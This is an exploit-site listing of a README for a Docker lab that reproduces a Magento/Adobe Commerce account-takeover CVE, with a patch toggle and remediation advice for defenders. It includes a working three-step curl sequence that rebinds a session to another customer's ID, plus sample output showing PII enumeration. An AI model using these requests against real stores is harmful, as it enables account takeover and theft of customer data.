Sploitus

Exploit for CVE-2026-71362

githubexploit · 2026-08-15

Exploit Code

README166 lines
## https://sploitus.com/exploit?id=E18B7F04-8546-596E-AA13-83DCDDB760CB
# CVE-2026-71362 — Magento / Adobe Commerce customer-session identity-switch lab

A self-contained, one-command Docker lab that **reproduces CVE-2026-71362** end to end and
lets you verify Adobe's fix, so defenders, researchers and students can study a real
account-takeover primitive on a disposable store.

| | |
|---|---|
| **CVE** | CVE-2026-71362 |
| **Product** | Adobe Commerce · Adobe Commerce B2B · Magento Open Source |
| **Class** | Incorrect Authorization (CWE-863) — customer-session identity switch → account takeover |
| **Severity** | **CVSS 3.1 = 9.1** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` |
| **Advisory** | Adobe [APSB26-92](https://helpx.adobe.com/security/products/magento/apsb26-92.html) (2026-08-11) |
| **Affected** | Adobe Commerce 2.4.4–2.4.9, Magento Open Source 2.4.6–2.4.9, B2B 1.3.3–1.5.3 — the `-2026-jul` isolated-patch level and earlier |
| **Fixed** | the `-2026-aug` isolated patch level (patch ids `24Xp-2026-08-001-CE`) |

> ### ⚠️ Authorized use only
> This lab exists to reproduce a **public, patched** vulnerability for defensive research and
> education. Run it only against the disposable store it builds. Do **not** use it against any
> Magento/Adobe Commerce instance you do not own or have explicit written permission to test.
> You are responsible for complying with all applicable law.

---

## What the bug is (30-second version)

`Magento\Customer\Controller\Account\Edit::execute()` feeds the **raw, attacker-controlled**
`customer_form_data` left in the session by a *failed* `editPost` into
`DataObjectHelper::populateWithArray()`, which copies **every** matching key onto the customer
object — including **`id`**. The object is then written back with
`Session::setCustomerData()` → `setCustomerId($object->getId())`, and because
`Customer\Model\Session::getId()` just returns `getCustomerId()`, overwriting `customer_id`
**alone** makes `isLoggedIn()` return true as the victim. No password, token or ownership
check. An attacker with only a self-registered throwaway account can rebind their session to
**any** customer id and read that account's PII, orders, addresses and stored payment tokens.

Full walkthrough: **[docs/ROOTCAUSE.md](docs/ROOTCAUSE.md)**. Detection & WAF rules:
**[docs/DETECTION.md](docs/DETECTION.md)**.

```
attacker registers ──► POST /customer/account/editPost  (change_email=1,
   (own account)        current_password=wrong, id=)  ─► exception ─►
                        session.customer_form_data = {... id:  ...}
                              │
                              â–Ľ
                        GET /customer/account/edit
                        populateWithArray(... id= ...) ─► setId(VICTIM)
                        setCustomerData() ─► setCustomerId(VICTIM)
                              │
                              â–Ľ
   attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
   order history, address book, section/load) ─► account takeover.
```

---

## Requirements

- Docker + Docker Compose v2
- ~6 GB RAM free for the containers, ~5 GB disk
- Python 3 (only to run the PoC) — `pip install -r exploit/requirements.txt`

The build pulls Magento Open Source from public sources; **no Adobe Marketplace keys are
required**.

## Quick start

```bash
git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab

make up          # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait        # blocks until the storefront returns HTTP 200
make exploit     # runs the PoC
```

Storefront:  · Admin:  (`admin` /
`Admin123!`). Change the host/port in `.env` (see `.env.example`) — the value **must** match
the URL you browse, because Magento pins its session cookie to the store's base URL.

### Expected PoC output (vulnerable)

```
[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
      customer_id=1   -> VICTIM… Target  
...
  >>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
      every enumerated account's PII with only self-registration.
```

## Prove the fix (A/B/A negative control)

```bash
make patch      # apply Adobe's official APSB26-92 Edit.php fix
make exploit    #   -> NOT exploited (session identity unchanged)

make unpatch    # restore the vulnerable file
make exploit    #   -> ACCOUNT TAKEOVER again
```

`make patch` swaps in [`patch/Edit.patched.php`](patch/Edit.patched.php) — the exact upstream
change from [`patch/official-APSB26-92-module-customer.patch`](patch/official-APSB26-92-module-customer.patch).
Toggling only that one file on and off is the oracle that the bug *is* precisely this hunk.

## Manual reproduction (no Python)

```bash
# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'

# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
  --data-urlencode form_key= --data-urlencode firstname=Mallory \
  --data-urlencode lastname=Attacker --data-urlencode email=attacker@lab.test \
  --data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'

# 2. poison the session: failing editPost carrying id=
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
  --data-urlencode form_key= --data-urlencode id=1 \
  --data-urlencode change_email=1 --data-urlencode current_password=wrong \
  --data-urlencode email=attacker@lab.test

# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'
```

## Remediation (real stores)

Apply the **APSB26-92** August-2026 isolated patch for your branch (`24Xp-2026-08-001-CE`).
Adobe serves the patch registry and raw diffs without credentials at
`https://repo.magento.com/patch/patch-registry.json`. The fix is *not* on public GitHub — no
Composer package or git tag was published for it, so `composer update` will **not** pull it.

## Layout

```
docker-compose.yml   nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh    first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py       the PoC + PII-enumeration oracle
scripts/patch.sh     apply Adobe's official fix        scripts/unpatch.sh  restore vulnerable
patch/               official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md    code-level walkthrough            docs/DETECTION.md   WAF + forensics
```

## Troubleshooting

- **PoC prints "still installing"** — first boot compiles Magento; run `make logs` and wait
  for `Install complete`, then `make wait`.
- **Everything 500s right after install** — a permission race on `generated/`; `make shell`
  then `php bin/magento cache:flush` (the entrypoint normally handles this).
- **Cookie/CSRF weirdness** — you're hitting a different host than the store's base URL. Keep
  `MAGENTO_HOST`/`HOST_PORT` in `.env` equal to the URL you (and `TARGET`) use.

## References

- Adobe [APSB26-92](https://helpx.adobe.com/security/products/magento/apsb26-92.html) ·
  [NVD CVE-2026-71362](https://nvd.nist.gov/vuln/detail/CVE-2026-71362)
- Sansec — [Adobe patches critical Magento account takeover (APSB26-92)](https://sansec.io/research/adobe-commerce-account-takeover-apsb26-92)
- Credited researcher: **0x0.eth**

## License

MIT — see [LICENSE](LICENSE). Provided for education and authorized testing, with no warranty.